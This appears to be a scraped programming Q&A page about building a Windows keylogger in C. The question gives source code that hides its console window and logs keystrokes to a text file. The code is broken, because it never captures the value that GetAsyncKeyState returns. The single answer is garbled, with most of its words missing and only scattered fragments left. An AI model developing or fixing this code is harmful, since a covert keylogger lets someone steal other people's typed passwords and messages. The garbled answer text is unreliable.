Why is my keylogger not working?

After learning the basics of C, I went on to explore some of the features of the Win API. For educational purposes, I decided to try to make a simple keylogger. All he does is record keystrokes and save them in a .txt file. I saw several examples on the Internet, but I want to do it my own way (which is easier). Here is my code (I don't know why it doesn't work) (I haven't finished it yet):

#include <stdio.h>
#include <windows.h>

int main( void )
{
    short UserInputtedCharacter;
    FILE *LogFile = fopen("log.txt", "a");

    //Hide console window
    HWND HideWindow;
    AllocConsole();
    HideWindow = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(HideWindow, 0);

    while(1)
    {
        GetAsyncKeyState(UserInputtedCharacter);

        switch(UserInputtedCharacter)
        {
            case VK_SPACE:
                fputc(' ', LogFile);
                break;
            case VK_RETURN:
                fputc('\n', LogFile);
                break;
            case VK_BACK:
                fputs("[BACKSPACE]", LogFile);
                break;
            case VK_DELETE:
                fputs("[DEL]", LogFile);
                break;
            case VK_CAPITAL:
                fputs("[CAPS LOCK]", LogFile);
                break;
            case 0x30:
                fputc('0', LogFile);
                break;
            case 0x31:
                fputc('1', LogFile);
                break;
            case 0x32:
                fputc('2', LogFile);
                break;
            case 0x33:
                fputc('3', LogFile);
                break;
            case 0x34:
                fputc('4', LogFile);
                break;
            case 0x35:
                fputc('5', LogFile);
                break;
            case 0x36:
                fputc('6', LogFile);
                break;
            case 0x37:
                fputc('7', LogFile);
                break;
            case 0x38:
                fputc('8', LogFile);
                break;
            case 0x39:
                fputc('9', LogFile);
                break;
            case 0x61:
                fputc('a', LogFile);
                break;
            case 0x62:
                fputc('b', LogFile);
                break;
            case 0x63:
                fputc('c', LogFile);
                break;
            case 0x64:
                fputc('d', LogFile);
                break;
        }
    }
    fclose(LogFile);
    return 0;
}

The program does not save keystrokes in a TXT file.

By the way, the program is far from complete, I just wonder why it does not work.

+4
source share
1 answer

There are many things you need to fix.

  • GetAsyncKeyState . , . , UserInputtedCharacter .
  • Windows . WM_KEYDOWN WM_KEYUP.
  • , , . / , getc() .
  • . .

, . , . , StackOverflow, .

+3

All Articles